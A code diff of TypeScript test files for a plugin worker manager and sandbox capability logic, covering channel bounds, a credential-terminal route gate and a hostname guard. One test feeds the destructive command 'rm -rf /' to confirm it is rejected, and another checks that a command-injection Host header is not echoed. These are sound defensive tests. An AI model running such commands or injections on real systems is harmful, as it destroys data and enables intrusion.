+          data: [{ chunk: "a" }, { chunk: "b" }, { chunk: "c" }],
+        }),
+      );
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route on the frame count bound even when a caller raises that bound well past the module default", async () => {
+    // Regression test: the pre-open hold ceiling must track
+    // maxDuplexChannelPreBindFrames, not a fixed value. A fixed ceiling at or
+    // below this bound would drop the 13th frame in the hold before the replay
+    // ever applies the buffered bound to it, and the route would never end.
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPreBindBufferedFrames: 12 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          batchWithOpenReply: true,
+          data: Array.from({ length: 13 }, (_, i) => ({ chunk: String(i) })),
+        }),
+      );
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("ends the route on the frame count bound even when an exit notification arrives before the overflow data frame", async () => {
+    // Regression test: an exit notification must never share the pre-open hold's
+    // capacity with data frames. The worker here batches exactly
+    // maxPreBindBufferedFrames valid data frames (no violation), then its exit,
+    // then one more data frame that should trip the buffered-frame bound. If the
+    // exit consumed a hold slot, that last data frame would be dropped by the
+    // hold before the replay ever applies the buffered bound to it, and the
+    // route would end normally on the exit (exitCode: 0) instead of on the
+    // bound (exitCode: null).
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxPreBindBufferedFrames: 3 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          batchWithOpenReply: true,
+          data: [{ chunk: "a" }, { chunk: "b" }, { chunk: "c" }],
+          exitCode: 0,
+          dataAfterExit: [{ chunk: "overflow" }],
+        }),
+      );
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("delivers a batched pre-bind chunk that a later listener drains before the byte cap ends the route", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { maxTotalDataBytes: 4 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({
+          // The worker batches the two data frames with the open reply, so both
+          // frames arrive before the route binds and before a listener attaches.
+          // "€" is three bytes in UTF-8. The first chunk (3 bytes ≤ 4) buffers.
+          // The second chunk brings the total to 6 bytes (> 4), so the route ends.
+          // The route end must not discard the buffered first chunk. The listener
+          // attaches after the open resolves and drains the first chunk.
+          batchWithOpenReply: true,
+          workerSessionId: "ws-A",
+          data: [{ chunk: "€" }, { chunk: "€" }],
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      expect(chunks).toEqual(["€"]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  // -------------------------------------------------------------------------
+  // Authoritative closure and worker retirement.
+  // -------------------------------------------------------------------------
+
+  it("closes the route with a fixed exit when the worker exits", async () => {
+    const handle = makeDuplexHandle();
+    try {
+      await handle.start();
+      const session = await handle.openDuplexChannel(duplexOpenInput({ mode: "normal" }));
+      const waitResult = session.wait();
+      await handle.stop();
+      // A worker exit closes the one route and resolves the wait with the fixed
+      // non-secret exit.
+      await expect(waitResult).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("retires the worker on an unconfirmed close acknowledgement", async () => {
+    const handle = makeDuplexHandle({
+      duplexChannelLimits: { closeTimeoutMs: 200 },
+    });
+    try {
+      await handle.start();
+      const exited = new Promise<void>((resolve) => {
+        handle.on("exit", () => resolve());
+      });
+      const session = await handle.openDuplexChannel(
+        duplexOpenInput({ mode: "normal", closeMode: "bad-ack" }),
+      );
+      await session.close();
+      // The close acknowledgement carried a mismatched host route id, so the host
+      // fails closed and retires the worker before any reuse.
+      await exited;
+      await expect(
+        handle.openDuplexChannel(duplexOpenInput({ mode: "normal" })),
+      ).rejects.toThrow();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+});
diff --git a/server/src/__tests__/plugin-worker-manager.test.ts b/server/src/__tests__/plugin-worker-manager.test.ts
index 7d837a47ddf..72fb0e5d080 100644
--- a/server/src/__tests__/plugin-worker-manager.test.ts
+++ b/server/src/__tests__/plugin-worker-manager.test.ts
@@ -9,6 +9,7 @@ import {
   type HostServices,
   type HostToWorkerMethods,
 } from "@paperclipai/plugin-sdk";
+import { CLAUDE_SETUP_TOKEN_COMMAND } from "@paperclipai/adapter-claude-local/server";
 import {
   appendStderrExcerpt,
   createPluginWorkerHandle,
@@ -1054,3 +1055,262 @@ describe("plugin worker manager execute.log route", () => {
     }
   });
 });
+
+// ---------------------------------------------------------------------------
+// Host-owned setup-token login pseudo-terminal route gate
+// ---------------------------------------------------------------------------
+
+const SETUP_TOKEN_PTY_WORKER_ENTRYPOINT = path.join(
+  FIXTURES_DIR,
+  "plugin-worker-setup-token-pty.cjs",
+);
+
+function makeSetupTokenPtyHandle(extra?: Record<string, unknown>) {
+  return createPluginWorkerHandle("test.plugin", {
+    entrypointPath: SETUP_TOKEN_PTY_WORKER_ENTRYPOINT,
+    manifest: TEST_MANIFEST,
+    config: {},
+    instanceInfo: { instanceId: "instance-1", hostVersion: "1.0.0" },
+    apiVersion: 1,
+    hostHandlers: {},
+    ...extra,
+  });
+}
+
+function ptyOpenInput(directive: unknown) {
+  return {
+    driverKey: "daytona",
+    companyId: "company-1",
+    environmentId: "env-1",
+    // The test directive rides in `providerLeaseId`, an opaque field the manager
+    // forwards to the worker unchanged. The manager allowlists `command`, so the
+    // command stays the fixed `CLAUDE_SETUP_TOKEN_COMMAND` for every route-gate
+    // case.
+    providerLeaseId: JSON.stringify(directive),
+    command: CLAUDE_SETUP_TOKEN_COMMAND,
+  };
+}
+
+describe("plugin worker manager setup-token pty route gate", () => {
+  it("rejects a command that is not the allowlisted setup-token command before the worker call", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      // A caller passes a command other than the fixed `CLAUDE_SETUP_TOKEN_COMMAND`.
+      // The manager rejects it with one fixed non-secret error before the worker
+      // call, so no arbitrary process spawns in the sandbox pseudo-terminal.
+      await expect(
+        handle.openSetupTokenPtySession({
+          driverKey: "daytona",
+          companyId: "company-1",
+          environmentId: "env-1",
+          providerLeaseId: JSON.stringify({ mode: "normal" }),
+          command: "rm -rf /",
+        }),
+      ).rejects.toThrow("SETUP_TOKEN_PTY_COMMAND_NOT_ALLOWED");
+      // The rejected open never consumed the single route, so a later open with
+      // the allowlisted command still succeeds.
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal" }),
+      );
+      expect(session).toBeDefined();
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("permits one active credential pseudo-terminal per worker", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      const first = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal" }),
+      );
+      // A second open while the first route is not closed rejects with one fixed
+      // non-secret error before it reaches the worker.
+      await expect(
+        handle.openSetupTokenPtySession(ptyOpenInput({ mode: "normal" })),
+      ).rejects.toThrow("SETUP_TOKEN_PTY_ROUTE_BUSY");
+      await first.close();
+      // After the first route closes and the worker acknowledges the close, a new
+      // open is admitted.
+      const second = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal" }),
+      );
+      await second.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("delivers output only for the exact bound worker session id and drops a mismatch", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({
+          workerSessionId: "ws-A",
+          outputs: [
+            { chunk: "good-1" },
+            { chunk: "forged", sid: "ws-EVIL" },
+            { chunk: "good-2" },
+          ],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      // The forged notification carries a wrong worker session id, so the host
+      // drops it. Only the two bound chunks reach the listener, in order.
+      expect(chunks).toEqual(["good-1", "good-2"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("routes delayed input to the worker and back to the listener", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ workerSessionId: "ws-A" }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      session.write("browser-code");
+      // The worker echoes the input as one output notification for the bound
+      // session, so the listener receives it.
+      await vi.waitFor(() => expect(chunks).toContain("echo:browser-code"));
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("terminalizes the route when the cumulative output passes the per-route bound", async () => {
+    const handle = makeSetupTokenPtyHandle({
+      setupTokenPtyLimits: { maxTotalChars: 10 },
+    });
+    try {
+      await handle.start();
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({
+          outputs: [
+            { chunk: "aaaaa" }, // total 5 → delivered
+            { chunk: "bbbbb" }, // total 10 → delivered
+            { chunk: "ccccc" }, // total 15 > 10 → terminalize
+          ],
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      // The per-route bound terminalizes the route, so the login wait resolves
+      // with a null exit code and the third chunk never reaches the listener.
+      await expect(session.wait()).resolves.toEqual({ exitCode: null });
+      expect(chunks).toEqual(["aaaaa", "bbbbb"]);
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("terminalizes and fails closed on a malformed open reply, then admits a later open", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      await expect(
+        handle.openSetupTokenPtySession(ptyOpenInput({ mode: "malformed-open" })),
+      ).rejects.toThrow("SETUP_TOKEN_PTY_OPEN_FAILED");
+      // The terminalize closed the route by the host route id and the worker
+      // acknowledged the close, so a later open is admitted.
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal" }),
+      );
+      expect(session).toBeDefined();
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("terminalizes the route on an open timeout", async () => {
+    const handle = makeSetupTokenPtyHandle({
+      setupTokenPtyLimits: { openTimeoutMs: 200 },
+    });
+    try {
+      await handle.start();
+      await expect(
+        handle.openSetupTokenPtySession(ptyOpenInput({ mode: "no-open-reply" })),
+      ).rejects.toThrow();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("binds the worker session id one time and ignores a duplicate open reply", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({
+          mode: "duplicate-open-reply",
+          workerSessionId: "ws-A",
+          outputs: [{ chunk: "hello" }],
+          exitCode: 0,
+        }),
+      );
+      const chunks: string[] = [];
+      session.onData((chunk) => chunks.push(chunk));
+      // The duplicate open reply never rebinds or reopens the route, so the
+      // session runs normally on the one bind.
+      await expect(session.wait()).resolves.toEqual({ exitCode: 0 });
+      expect(chunks).toEqual(["hello"]);
+      await session.close();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("closes the route with a fixed exit when the worker exits", async () => {
+    const handle = makeSetupTokenPtyHandle();
+    try {
+      await handle.start();
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal" }),
+      );
+      const waitResult = session.wait();
+      await handle.stop();
+      // A worker exit closes the one route and resolves the login wait with the
+      // fixed non-secret exit.
+      await expect(waitResult).resolves.toEqual({ exitCode: null });
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+
+  it("retires the worker on an unconfirmed close acknowledgement", async () => {
+    const handle = makeSetupTokenPtyHandle({
+      setupTokenPtyLimits: { closeTimeoutMs: 200 },
+    });
+    try {
+      await handle.start();
+      const exited = new Promise<void>((resolve) => {
+        handle.on("exit", () => resolve());
+      });
+      const session = await handle.openSetupTokenPtySession(
+        ptyOpenInput({ mode: "normal", closeMode: "bad-ack" }),
+      );
+      await session.close();
+      // The close acknowledgement carried a mismatched host route id, so the host
+      // fails closed and retires the worker before any reuse.
+      await exited;
+      await expect(
+        handle.openSetupTokenPtySession(ptyOpenInput({ mode: "normal" })),
+      ).rejects.toThrow();
+    } finally {
+      await handle.stop().catch(() => undefined);
+    }
+  });
+});
diff --git a/server/src/__tests__/private-hostname-guard.test.ts b/server/src/__tests__/private-hostname-guard.test.ts
index ce280b5c445..e1f8a696e47 100644
--- a/server/src/__tests__/private-hostname-guard.test.ts
+++ b/server/src/__tests__/private-hostname-guard.test.ts
@@ -48,7 +48,7 @@ describe("privateHostnameGuard", () => {
     expect(res.status).toBe(403);
     // The remediation command carries a static `<host>` placeholder. It never
     // interpolates the request Host header into the command.
-    expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+    expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
     expect(res.body?.error).not.toContain(unknownHostname);
   });
 
@@ -76,7 +76,7 @@ describe("privateHostnameGuard", () => {
     expect(next).not.toHaveBeenCalled();
     expect(res.status).toHaveBeenCalledWith(403);
     expect(res.send).toHaveBeenCalledWith(
-      expect.stringContaining("run pnpm exec paperclipai allowed-hostname <host>"),
+      expect.stringContaining("run npx paperclipai allowed-hostname <host>"),
     );
     expect(res.send).not.toHaveBeenCalledWith(expect.stringContaining(unknownHostname));
   }, 20_000);
@@ -91,7 +91,7 @@ describe("privateHostnameGuard", () => {
     const app = createApp({ enabled: true, allowedHostnames: ["some-other-host"] });
     const res = await request(app).get("/api/health").set("Host", hostileHost);
     expect(res.status).toBe(403);
-    expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+    expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
     expect(res.body?.error).not.toContain("evil");
     expect(res.body?.error).not.toContain("$(");
     expect(res.body?.error).not.toContain("marker");
diff --git a/server/src/__tests__/reusable-leases-default.test.ts b/server/src/__tests__/reusable-leases-default.test.ts
new file mode 100644
index 00000000000..a77ee06cad5
--- /dev/null
+++ b/server/src/__tests__/reusable-leases-default.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { getEnvironmentCapabilities } from "@paperclipai/shared";
+import { getSandboxProvider } from "../services/sandbox-provider-runtime.ts";
+
+// The execution guard in environment-runtime.ts admits a reusable lease only
+// when the provider declares supportsReusableLeases === true. This helper
+// mirrors that guard, so the tests can compare the presentation default with
+// the execution decision.
+function executionSupportsReusableLeases(declared: boolean | undefined): boolean {
+  return declared === true;
+}
+
+describe("reusable leases default", () => {
+  it("test_fake_provider_reusable_leases_matches_runtime_declaration", () => {
+    const fakeRuntime = getSandboxProvider("fake");
+    expect(fakeRuntime).not.toBeNull();
+    expect(fakeRuntime?.supportsReusableLeases).toBe(false);
+
+    const capabilities = getEnvironmentCapabilities(["codex_local"]);
+    expect(capabilities.sandboxProviders.fake.supportsReusableLeases).toBe(
+      fakeRuntime?.supportsReusableLeases ?? false,
+    );
+  });
+
+  it("test_api_presentation_agrees_with_runtime_execution_for_reusable_leases", () => {
+    // Built-in fake provider: the runtime declares false, so execution and
+    // presentation both resolve to false.
+    const fakeRuntime = getSandboxProvider("fake");
+    const builtin = getEnvironmentCapabilities(["codex_local"]);
+    expect(builtin.sandboxProviders.fake.supportsReusableLeases).toBe(
+      executionSupportsReusableLeases(fakeRuntime?.supportsReusableLeases),
+    );
+
+    // Plug-in provider whose manifest does not declare reusable leases.
+    const absent = getEnvironmentCapabilities(["codex_local"], {
+      sandboxProviders: { "no-reuse-plugin": { displayName: "No Reuse" } },
+    });
+    expect(absent.sandboxProviders["no-reuse-plugin"].supportsReusableLeases).toBe(
+      executionSupportsReusableLeases(undefined),
+    );
+
+    // Plug-in provider whose manifest declares reusable leases.
+    const declared = getEnvironmentCapabilities(["codex_local"], {
+      sandboxProviders: {
+        "reuse-plugin": { displayName: "Reuse", supportsReusableLeases: true },
+      },
+    });
+    expect(declared.sandboxProviders["reuse-plugin"].supportsReusableLeases).toBe(
+      executionSupportsReusableLeases(true),
+    );
+  });
+});
diff --git a/server/src/__tests__/routines-service.test.ts b/server/src/__tests__/routines-service.test.ts
index 772747a8735..cbdf42ee70c 100644
--- a/server/src/__tests__/routines-service.test.ts
+++ b/server/src/__tests__/routines-service.test.ts
@@ -239,6 +239,136 @@ describeEmbeddedPostgres("routine service live-execution coalescing", () => {
       .then((rows) => rows[0]!);
   }
 
+  it("clears transient routine run failures when execution issues resume", async () => {
+    const { companyId, issueSvc, routine, svc } = await seedFixture();
+    const runId = randomUUID();
+    const executionIssue = await issueSvc.create(companyId, {
+      projectId: routine.projectId,
+      title: routine.title,
+      description: routine.description,
+      status: "blocked",
+      priority: routine.priority,
+      assigneeAgentId: routine.assigneeAgentId,
+      originKind: "routine_execution",
+      originId: routine.id,
+      originRunId: runId,
+    });
+
+    await db.insert(routineRuns).values({
+      id: runId,
+      companyId,
+      routineId: routine.id,
+      source: "manual",
+      status: "issue_created",
+      triggeredAt: new Date("2026-07-16T12:00:00.000Z"),
+      linkedIssueId: executionIssue.id,
+    });
+
+    await svc.syncRunStatusForIssue(executionIssue.id);
+    const [failedRun] = await db.select().from(routineRuns).where(eq(routineRuns.id, runId));
+    expect(failedRun).toMatchObject({
+      status: "failed",
+      failureReason: "Execution issue moved to blocked",
+      triggerPayload: {
+        transientFailure: {
+          code: "execution_issue_status",
+          status: "blocked",
+        },
+      },
+    });
+    await db.update(issues).set({ status: "in_progress" }).where(eq(issues.id, executionIssue.id));
+    await svc.syncRunStatusForIssue(executionIssue.id);
+
+    const [run] = await db.select().from(routineRuns).where(eq(routineRuns.id, runId));
+    expect(run).toMatchObject({
+      status: "issue_created",
+      failureReason: null,
+      completedAt: null,
+      triggerPayload: {
+        transientFailure: {
+          code: "execution_issue_status",
+          status: "blocked",
+          clearedAt: expect.any(String),
+        },
+      },
+    });
+
+    const clearedAt = (run?.triggerPayload as { transientFailure?: { clearedAt?: string } } | null)
+      ?.transientFailure?.clearedAt;
+    expect(clearedAt).toEqual(expect.any(String));
+
+    await db.update(issues).set({ status: "done" }).where(eq(issues.id, executionIssue.id));
+    await svc.syncRunStatusForIssue(executionIssue.id);
+
+    const [completedRun] = await db.select().from(routineRuns).where(eq(routineRuns.id, runId));
+    expect(completedRun).toMatchObject({
+      status: "completed",
+      failureReason: null,
+      triggerPayload: {
+        transientFailure: {
+          code: "execution_issue_status",
+          status: "blocked",
+          clearedAt,
+        },
+      },
+    });
+    expect(completedRun?.completedAt).toBeInstanceOf(Date);
+  });
+
+  it("moves transient routine run failures into completion context", async () => {
+    const { companyId, issueSvc, routine, svc } = await seedFixture();
+    const runId = randomUUID();
+    const executionIssue = await issueSvc.create(companyId, {
+      projectId: routine.projectId,
+      title: routine.title,
+      description: routine.description,
+      status: "blocked",
+      priority: routine.priority,
+      assigneeAgentId: routine.assigneeAgentId,
+      originKind: "routine_execution",
+      originId: routine.id,
+      originRunId: runId,
+    });
+
+    await db.insert(routineRuns).values({
+      id: runId,
+      companyId,
+      routineId: routine.id,
+      source: "manual",
+      status: "issue_created",
+      triggeredAt: new Date("2026-07-16T12:00:00.000Z"),
+      linkedIssueId: executionIssue.id,
+      triggerPayload: { input: "preserved" },
+    });
+
+    await svc.syncRunStatusForIssue(executionIssue.id);
+    const [failedRun] = await db.select().from(routineRuns).where(eq(routineRuns.id, runId));
+    expect(failedRun).toMatchObject({
+      status: "failed",
+      failureReason: "Execution issue moved to blocked",
+    });
+    await db.update(issues).set({ status: "done" }).where(eq(issues.id, executionIssue.id));
+    await svc.syncRunStatusForIssue(executionIssue.id);
+
+    const [run] = await db.select().from(routineRuns).where(eq(routineRuns.id, runId));
+    expect(run).toMatchObject({
+      status: "completed",
+      failureReason: null,
+      triggerPayload: {
+        input: "preserved",
+        transientFailure: {
+          code: "execution_issue_status",
+          status: "blocked",
+          reason: "Execution issue moved to blocked",
+        },
+      },
+    });
+    expect(run?.completedAt).toBeInstanceOf(Date);
+    expect(run?.triggerPayload).toMatchObject({
+      transientFailure: { clearedAt: expect.any(String) },
+    });
+  });
+
   it("filters listed routines by project", async () => {
     const { companyId, agentId, projectId, routine, svc } = await seedFixture();
     const otherProjectId = randomUUID();
diff --git a/server/src/__tests__/sandbox-capability-contract.test.ts b/server/src/__tests__/sandbox-capability-contract.test.ts
new file mode 100644
index 00000000000..1c9c9336205
--- /dev/null
+++ b/server/src/__tests__/sandbox-capability-contract.test.ts
@@ -0,0 +1,387 @@
+import { describe, expect, it } from "vitest";
+import {
+  SANDBOX_CAPABILITY_KEYS,
+  buildSandboxCapabilityNarrowing,
+  builtinSandboxProviderVerifiedMethods,
+  resolveEffectiveSandboxCapabilities,
+} from "../services/environment-runtime.js";
+
+// The worker verbs a fully-capable plug-in provider advertises.
+const ALL_PLUGIN_METHODS = [
+  "environmentAcquireLease",
+  "environmentResumeLease",
+  "environmentReleaseLease",
+  "environmentDestroyLease",
+  "environmentExecute",
+  "environmentSyncIn",
+  "environmentSyncOut",
+];
+
+describe("sandbox capability contract normalizer", () => {
+  it("test_absent_declaration_defers_to_worker_supported_methods_discovery", () => {
+    // No declaration at all. The effective set must fall back to what the worker
+    // verified, so a third-party provider that implements the sync hooks keeps
+    // native sync without declaring it.
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentSyncIn", "environmentSyncOut"],
+      declared: null,
+    });
+
+    expect(effective.nativeSyncIn).toBe(true);
+    expect(effective.nativeSyncOut).toBe(true);
+    // The worker did not verify these verbs, so the baseline is false.
+    expect(effective.persistentProcessSessions).toBe(false);
+    expect(effective.reusableLeases).toBe(false);
+  });
+
+  it("test_effective_capabilities_are_subset_of_verified_and_declared", () => {
+    const verifiedMethods = ["environmentExecute"];
+    const declared = {
+      persistentProcessSessions: true,
+      independentControlCommands: false,
+      nativeSyncIn: true,
+    };
+    const effective = resolveEffectiveSandboxCapabilities({ verifiedMethods, declared });
+
+    // Verified + declared true.
+    expect(effective.persistentProcessSessions).toBe(true);
+    // Declared false, so removed even though verified.
+    expect(effective.independentControlCommands).toBe(false);
+    // Declared true but not verified, so removed.
+    expect(effective.nativeSyncIn).toBe(false);
+
+    // Every effective capability must be a subset of the verified set and the
+    // declaration: an effective `true` never appears where the worker did not
+    // verify or the declaration set `false`.
+    const verifiedOnly = resolveEffectiveSandboxCapabilities({ verifiedMethods });
+    for (const key of SANDBOX_CAPABILITY_KEYS) {
+      if (effective[key]) {
+        expect(verifiedOnly[key]).toBe(true);
+        expect((declared as Record<string, boolean | undefined>)[key]).not.toBe(false);
+      }
+    }
+  });
+
+  it("test_kubernetes_job_lease_disables_native_sync", () => {
+    const narrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "ephemeral",
+      leaseMetadata: { backend: "job" },
+    });
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ALL_PLUGIN_METHODS,
+      declared: { nativeSyncIn: true, nativeSyncOut: true },
+      narrowing,
+    });
+
+    expect(effective.nativeSyncIn).toBe(false);
+    expect(effective.nativeSyncOut).toBe(false);
+    // A non-sync capability is unaffected by the job-lease narrowing.
+    expect(effective.persistentProcessSessions).toBe(true);
+
+    // The `nativeFileSyncUnsupported` lease flag narrows the same way.
+    const flaggedNarrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "ephemeral",
+      leaseMetadata: { nativeFileSyncUnsupported: true },
+    });
+    expect(flaggedNarrowing.nativeSyncIn).toBe(false);
+    expect(flaggedNarrowing.nativeSyncOut).toBe(false);
+  });
+
+  it("test_persistent_process_sessions_follow_the_verified_and_declared_capability", () => {
+    // Session-output streaming now follows the capability snapshot alone, not a
+    // config flag. A provider that declares and verifies persistent process
+    // sessions keeps the capability when no narrowing removes it.
+    const verifiedMethods = ["environmentExecute"];
+    const declared = { persistentProcessSessions: true };
+
+    const narrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "ephemeral",
+      leaseMetadata: {},
+    });
+    // A normal lease adds no persistent-session narrowing.
+    expect(narrowing.persistentProcessSessions).toBeUndefined();
+
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods,
+      declared,
+      narrowing,
+    });
+    expect(effective.persistentProcessSessions).toBe(true);
+  });
+
+  it("test_config_resolution_failure_fails_closed_on_persistent_process_sessions", () => {
+    const verifiedMethods = ["environmentExecute"];
+    const declared = { persistentProcessSessions: true };
+
+    // Config resolution failed, so the provider is untrusted. The narrowing must
+    // deny persistent process sessions instead of allowing them through. Without
+    // the fail-closed guard this narrowing key stays undefined and
+    // `persistentProcessSessions` resolves to true.
+    const narrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "ephemeral",
+      leaseMetadata: {},
+      configResolutionFailed: true,
+    });
+    expect(narrowing.persistentProcessSessions).toBe(false);
+
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods,
+      declared,
+      narrowing,
+    });
+    expect(effective.persistentProcessSessions).toBe(false);
+
+    // Native sync and reusable lease enforcement stay unchanged on failure.
+    const syncNarrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "reuse_by_environment",
+      leaseMetadata: { backend: "job" },
+      configResolutionFailed: true,
+    });
+    expect(syncNarrowing.reusableLeases).toBe(true);
+    expect(syncNarrowing.nativeSyncIn).toBe(false);
+    expect(syncNarrowing.nativeSyncOut).toBe(false);
+  });
+
+  it("test_builtin_provider_branch_uses_same_normalizer_as_plugin_branch", () => {
+    const declared = { reusableLeases: true, persistentProcessSessions: true };
+
+    // A built-in provider maps its own methods to the same verb names.
+    const builtinMethods = builtinSandboxProviderVerifiedMethods({
+      supportsReusableLeases: true,
+      execute: () => undefined,
+    });
+    const builtinEffective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: builtinMethods,
+      declared,
+    });
+
+    // A plug-in provider that advertises the equivalent verbs.
+    const pluginEffective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: [
+        "environmentResumeLease",
+        "environmentReleaseLease",
+        "environmentDestroyLease",
+        "environmentExecute",
+      ],
+      declared,
+    });
+
+    // The one normalizer drives both branches, so equivalent verb sets resolve
+    // to the identical effective capabilities.
+    expect(builtinEffective).toEqual(pluginEffective);
+    expect(builtinEffective.reusableLeases).toBe(true);
+    expect(builtinEffective.persistentProcessSessions).toBe(true);
+    // A built-in provider has no native sync hooks, so it never verifies sync.
+    expect(builtinEffective.nativeSyncIn).toBe(false);
+
+    // A built-in provider without an execute method verifies no exec capability.
+    const noExec = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: builtinSandboxProviderVerifiedMethods({ supportsReusableLeases: false }),
+      declared: { persistentProcessSessions: true },
+    });
+    expect(noExec.persistentProcessSessions).toBe(false);
+  });
+
+  it("test_present_declaration_never_grants_beyond_verified_supported_methods", () => {
+    // One case per capability: the declaration sets the flag `true`, the worker
+    // lacks a prerequisite verb, and the effective value stays `false`.
+    for (const key of SANDBOX_CAPABILITY_KEYS) {
+      const effective = resolveEffectiveSandboxCapabilities({
+        verifiedMethods: [],
+        declared: { [key]: true },
+      });
+      expect(effective[key]).toBe(false);
+    }
+
+    // A single missing prerequisite verb is enough: reusable leases needs
+    // resume, release, and destroy, so resume alone does not grant it.
+    const resumeOnly = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentResumeLease"],
+      declared: { reusableLeases: true },
+    });
+    expect(resumeOnly.reusableLeases).toBe(false);
+  });
+
+  it("test_reusable_provider_without_destroy_support_resolves_false", () => {
+    // A provider that verifies resume and release but not destroy is not
+    // eligible for reusable leases. The reuse path destroys a stale lease when a
+    // resume fails, so a provider without destroy support would strand the lease.
+    const resumeAndReleaseOnly = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentResumeLease", "environmentReleaseLease"],
+      declared: { reusableLeases: true },
+    });
+    expect(resumeAndReleaseOnly.reusableLeases).toBe(false);
+
+    // Adding the destroy verb makes the same provider eligible.
+    const allReuseVerbs = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: [
+        "environmentResumeLease",
+        "environmentReleaseLease",
+        "environmentDestroyLease",
+      ],
+      declared: { reusableLeases: true },
+    });
+    expect(allReuseVerbs.reusableLeases).toBe(true);
+  });
+
+  it("test_generic_one_shot_provider_does_not_get_session_output_streaming", () => {
+    // The regression: a generic one-shot provider (for example Modal) verifies
+    // `environmentExecute` and declares the two broad session capabilities, yet
+    // it never emits incremental session output. Both broad capabilities resolve
+    // true, but `incrementalSessionOutput` must stay false because the provider
+    // did not declare the opt-in behavior. The session-output streaming gate
+    // reads `incrementalSessionOutput`, so this provider keeps the poll path.
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentExecute"],
+      declared: {
+        persistentProcessSessions: true,
+        independentControlCommands: true,
+      },
+    });
+
+    expect(effective.persistentProcessSessions).toBe(true);
+    expect(effective.independentControlCommands).toBe(true);
+    // Opt-in denied: the provider did not declare incremental session output.
+    expect(effective.incrementalSessionOutput).toBe(false);
+  });
+
+  it("test_incremental_session_output_is_opt_in_and_needs_a_declaration", () => {
+    // An absent declaration denies the opt-in capability even when the worker
+    // verifies the prerequisite verb. This differs from a worker-property
+    // capability, which defers to the verified baseline.
+    const undeclared = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentExecute"],
+      declared: null,
+    });
+    expect(undeclared.incrementalSessionOutput).toBe(false);
+
